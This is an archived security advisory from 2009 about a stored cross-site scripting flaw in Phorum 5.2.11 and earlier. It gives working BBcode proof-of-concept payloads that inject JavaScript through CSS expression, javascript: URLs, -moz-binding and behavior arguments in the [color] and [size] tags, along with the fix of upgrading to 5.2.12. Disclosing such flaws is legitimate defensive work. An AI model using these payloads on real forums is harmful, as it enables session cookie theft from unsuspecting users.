477bcbdcc0
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89 lines
2.3 KiB
Text
Executable file
89 lines
2.3 KiB
Text
Executable file
//----- Advisory
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Program : Phorum 5.2.11 and prior
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Homepage : http://www.phorum.org/
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Discovery : 2009/07/16
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Author Contacted : 2009/07/17
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Found by : CrashFr
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This Advisory : CrashFr
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//----- Application description
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Started in 1998, Phorum was the original PHP and MySQL based Open Source
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forum software. Phorum's developers pride themselves on creating message
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board software that is designed to meet different needs of different web
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sites while not sacrificing performance or features.
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//----- Description of vulnerability
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Phorum's filtering engine insufficiently filters some BBcode arguments.
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Using the bbcode tags [color] and [size] it is possible to execute Javascript
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using expression CSS property.
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//----- Proof Of Concept
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When the user post the following bbcode :
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[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
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or
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[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]
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The application convert it into the follow HTML code :
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<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
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and
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<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
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For IE6 you can use this POC:
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[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream
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Testing IE6[/color]
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For IE7:
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[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing
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XSS[/color]
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Obviously, the POC doesn't work in IE8 and Firefox.
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But, but , but...
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Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My
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Files" function in "Control Center", you can use :
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POC for FF:
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[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream
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Testing FF[/color]
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POC for IE8:
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[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
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Testing FF[/color]
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//----- Impact
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This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.
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//----- Solution
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Upgrade Phorum to 5.2.12
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//----- Credits
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http://www.sysdream.com
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http://www.hackerzvoice.net
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crashfr at sysdream dot com
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//----- Greetings
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Virtualabs
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# milw0rm.com [2009-07-22]
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